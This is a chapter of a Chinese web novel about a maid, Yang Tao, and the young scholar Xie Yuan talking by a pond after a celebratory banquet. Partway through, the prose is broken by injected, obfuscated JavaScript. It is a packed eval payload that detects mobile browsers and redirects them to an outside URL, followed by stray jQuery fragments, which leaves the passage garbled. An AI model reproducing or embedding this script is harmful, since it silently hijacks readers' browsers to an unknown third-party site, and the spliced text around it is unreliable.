71. 第 71 章

作品:《丫鬟打工日常

    夜幕四合,宾客散尽,庭院只剩烛影斑驳。


    忙碌了整日的四房一家将客人都送走后,总算能好好坐下来歇口气。


    谢濂和柳氏都在庆幸,这回多亏有谢二夫人帮忙,各家又调来了不少下人,他们才不至于对着几十桌的宴席手忙脚乱。


    热闹散去,谢二夫人操心了一整日,还不忘在四房送客时,盯着下人将杯盏狼藉都收拾干净了才离开。


    谢濂和柳氏自宴席准备起,便将她的辛劳都看在眼里。


    柳氏怀里抱着疯玩了一整日,累得呼呼大睡的谢婉云,又将看起来累得神情呆滞的谢渊赶回后院休息,夫妻俩便开始商量起日后该怎么还二房这个人情。


    谢渊回到小楼,听到后面厨房隐约传来杨春娘和邱婆子她们的说笑声。


    想到自己若回了房,她们也要跟着忙碌起来,谢渊又默默拎着灯笼转身去了池塘边上的凉亭。


    今日宴席的大部分菜色都是二房的厨娘们准备的,不过杨春娘和邱婆子不甘示弱,用后院的小厨房做了拿手的南瓜腊味饭,梅子酱烤鸭,还有一道绿茶酥饼小点心。


    这三样味道都十分受宾客喜爱,甚至还有人走前向柳氏讨要茶酥饼。


    杨桃原先让宝田帮她在厨房后面搭了个小烤炉,是平日里专拿来烤点小饼干给谢婉云解馋。


    有时杨春娘见她连肉也扔进去烤,成品也别有一番滋味。她自己便琢磨着做了烤鸭,谁知最后成了拿手菜,皮脆肉嫩的烤鸭搭上酸甜的梅子酱,成了四房饭桌上的常客。


    因这回宴席客人较多,宝田还专程去找了起炉灶的人将这烤炉重新给搭了一遍。


    杨桃用这新做的大烤炉兴致勃勃地烤了一日绿茶酥饼,才终于找回了点往日在书院烤蛋挞的手感。


    她和杨春娘,邱婆子三人忙了整日,眼下总算能坐下来好好歇会儿。


    两人炒了几盘小菜,又倒了壶酒,将守门的石婆子叫来,在厨房里边喝边聊起今日的热闹。


    石榴她们今日在前院当差,累得连饭都不想吃,回房倒头便睡,于是这个酒局就只有杨桃一个小丫鬟。


    杨桃捧着石婆子塞给她的树莓酒小口小口喝着,这树莓酒酸甜可口十分上瘾,没一会儿她脸上就泛起了红晕。


    杨春娘见状赶紧将她手里的杯子夺过,又将人赶出去。


    “你这小丫头,拿酒当水喝呢?瞧这身酒气,快出去散散,当心明日头疼!”


    杨桃意犹未尽地咂咂嘴,这果酒甘甜如蜜,入喉全无辛辣,跟喝饮料似的,哪那么容易醉啊?


    可杨春娘盯着酒壶,杨桃就是想喝也喝不着了,便只能摸着吃得滚圆的肚子去外边消食。


    她溜溜达达,从后门转到院子里朝前院探头探脑。


    杨桃竖着耳朵听了半天,却没听到什么动静。


    客人应该是走完了,天也黑了许久,谢渊怎么还没回来?


    想着那一家或许是在前院说话,杨桃也没在意,她脚步一转,开始围着池塘散步。


    然而才绕过被假山和树影掩映的拐角,杨桃蓦地望见对面凉亭处,正浮着一团萤火般朦胧的昏黄光晕。


    一盏孤灯静静搁在石桌上,烛光勾勒出少年高瘦的轮廓,那影子斜斜投在地上,寂寥中透着一股挺拔。


    杨桃原地怔了一会儿,随即屏住呼吸,蹑手蹑脚地走近,想吓他一跳。


    不料刚进亭子,一直背身的人突然转过头,反将杨桃吓得不轻。


    “你......背后长眼睛了?”


    杨桃一脸惊愕,举起的手还僵在半空,那偷袭未遂的姿势在此刻显得分外滑稽。


    谢渊眼底还凝着未散尽的夜色,却在见到杨桃刹那漫起细碎的笑意。


    “是你走得太大声。”


    杨桃低头看了眼自己的鞋,对他这话将信将疑。她不说踏雪无痕,但也走得够轻了,这人耳朵怎么也这么好使?


    她走进凉亭站在谢渊身旁,看似漫不经心,却将他脸上神色仔细扫了一遍。


    “少爷怎么回来也不进屋去,倒在外边喂蚊子?”


    随着她的靠近,谢渊闻到了一股酒香。


    他转头细看杨桃的脸,这才发现微弱烛光下,她两颊泛红,像春夜初绽的桃花爬上了面颊。


    他呼吸凝滞在喉间,声音有些哑:“你喝酒了?”


    杨桃下意识就摇头:“我喝的是果酒!”


    果酒哪能算酒呢?


    她嗅嗅自己的衣裳,又有些不好意思地看向谢渊道:“酒味很大吗?我就喝了几杯......”


    夜色如墨,烛火却温柔地融化了两人间的边界。


    谢渊身上的宝蓝团纹长衫少了白日的华丽清冷,更显柔和优雅,衬得少年整个人都更成熟了几分。


    杨桃忽然就想不起来自己喝了多少,刚才还没感觉,现在脑子怎么有点发晕呢?


    可她不知,此时陷入眩晕的却不止她一人。


    少女湿润而明亮的眼睛倒映着烛火,在对视的瞬间便像是有人往谢渊心口扔了颗烧红的炭,滋啦一声就快蒸干他的理智。


    谢渊猛地移开视线看向黑夜的水面,深吸了几口气才能缓声开口。


    “果酒也不能多喝,小心明日起来头疼。”


    杨桃心想这话怎么听着有点耳熟?


    见谢渊一直盯着黑漆漆的水面,她也凑上前去:“今日可是少爷的好日子,宴席又这样热闹,你没喝两杯庆祝吗?”


    她思绪游离,在心里嘀咕:开心喝点儿怎么了,做人那么规矩有什么意思......


    耳边却传来谢渊突然消沉的声音:“不过是做给外人看的,哪里是为我庆祝。”


    杨桃微微一愣,刚才见他在这里发呆她还只是怀疑,如今却瞬间确定了谢渊情绪不对。


    可这大好的日子,所有人都在围着他转,更不用说如今谁还敢给他气受不成?


    杨桃盯着谢渊的侧脸急道:“老爷夫人他们忙了大半月,不是为你还能是为谁?”


    谢渊哪里是这个意思,见她瞪着眼睛,他无奈叹气:“父亲和母亲自然是为了我,只是别人……”他顿了顿,语气忽有几分森然:“就未必了。”


    别人?


    他说的,是谢家其他人吧?


    杨桃欲言又止,虽然眼下只有他们两个在这,可如今谢家其他人对谢渊全都态度大转变,说不定人家哪天又其乐融融了,她要是还像以前似的为他抱不平,那不是说他家人坏话吗?


    杨桃干脆装作听不懂:“少爷尽瞎说,难道我就不是真心为你庆祝了?就连邱婆婆和石婆婆,还有杨妈妈她们,现在也在高兴地喝酒呢!”


    她又兴冲冲道:“还有你可知道,宝田哥今日一早将宴菜送去书院,先生见有汾酒很是高兴,不像之前老爷他们送礼过去时那样生气呢!”


    陈柏石只收了三个学生却教出两个秀才来,这在太康县最近广为流传,直接吸引了一大批人前往,如今就是陈力长得再凶,陈柏石态度再差,也挡不住众人的热情。


    四房和柳家备了厚礼上书院,却正好撞上陈柏石被扰得苦不堪言,将他们大骂了一顿赶走后,还让谢渊和柳东林莫要得意忘形,在家收收心再回来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406480|164352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上学。


    这次宴席谢渊去请,他竟连书院大门都没能进去。


    杨桃语气轻松安慰道:“先生就是嘴硬心软,他明明也很为你和表少爷开心的。我看他肯定是想让你安心回家好好和家人庆祝,这才用这样的借口放你们的假。少爷别担心,他才不会真的生气呢。”


    她的声音伴着初夏轻柔晚风飘来,短短几息已将谢渊心头积攒的郁气拂散了大半。


    多奇怪,就算只是静静待在她身边,他都觉得心安满足。


    此刻听她说话,他的目光软得更像是被月色浸过,悄悄覆上了她的眉梢眼角。


    “我知道。”


    察觉到谢渊周身的气息重新变成她熟悉的温和,杨桃不由得松了口气。


    她真是怕了他了,一不开心就喜欢折磨自己钻牛角尖,这样可不好!


    望着夜空中的半轮弯月,杨桃直接转移话题:“不知道表少爷他们在乡下的宴席,是不是也这么热闹呢?”


    柳东林一家回了乡下,又恰好两人摆宴的日子撞在了同一天,这是特地找人算好的日子,于是今日柳氏娘家人都没能过来。


    之前谢渊不带她出门上学,这些日子为了准备宴席又忙忙碌碌,两人已经许久都没能像今夜这样好好说话了。


    杨桃难得松懈下来,这才想起自己当初的预言竟然成真,她得意地笑了起来:“少爷考上秀才,可是也有我一份功劳的!之前我说你会成为县上最年轻的秀才公,现在果然成真了,少爷可想好要给我多少赏钱没有?”


    谢渊笑了下,眼中的无奈与柔和似要溢出来。


    他片刻也没有犹豫,直接取下腰间的转心玉佩递给她:“这个赏钱够不够?”


    这枚交结纹玉佩细腻莹润如脂,绳结上还挂着颗红玛瑙,配色十分别致,一看就价格不菲。


    杨桃却脸色大变,将那玉佩往他怀中一推:“你疯啦?这可是老夫人送来的!”


    这人到底什么毛病,从小就有爱送人玉佩的习惯,有种不顾人死活的大方。


    谢渊却浑不在意:“那边送来那么多东西,少块玉佩谁会知道?”


    杨桃至今还记得谢老夫人那日谈及发卖下人时的态度,就像在说卖牲口一样随意,她可不想自寻死路。


    她缩缩脖子,心有余悸道:“少爷还是少吓我两回吧,我还想在家里好好再呆几年呢,可不想因为拿了这玉佩,明日就被老夫人给卖了。”


    杨桃话一说完便有些后悔,生怕谢渊察觉出什么来,再告诉了谢濂和柳氏。


    虽然这家人脾性都还不错,可杨桃不愿在人性上下赌注,生怕到时他们不愿放人,又或者加价将她和杨春娘转卖掉这样的事发生。


    可杨桃转念一想,谢渊又不知自己的打算,她便放下心来。


    殊不知,此时面上沉稳的谢渊在得知她并不是即刻就要离开谢家,心头猛地一撞,胸腔跳动的声音如雷贯耳,连衣袖下的手指都攥得生疼。


    仿佛时刻悬在他脖颈的那把铡刀总算移开,恐惧散去的同时又涌上一股说不清的失落。


    他不敢问这几年是一年,还是两年,也不敢问她有多想离开这里,更不敢问的是,如果他们没有这层身份,她还愿不愿意见他。


    与此同时,谢渊心头也渐渐涌起烦闷和无力。


    她是不是觉得,留在谢家终究逃不过被卖掉的命运,所以才会想着离开?


    可难道在她心里,自己就这样狠心,会眼睁睁看着她被人卖掉吗?


    谢渊定定看着她,声音低沉而坚定:“只要我没死,就没有人能随意卖掉你。”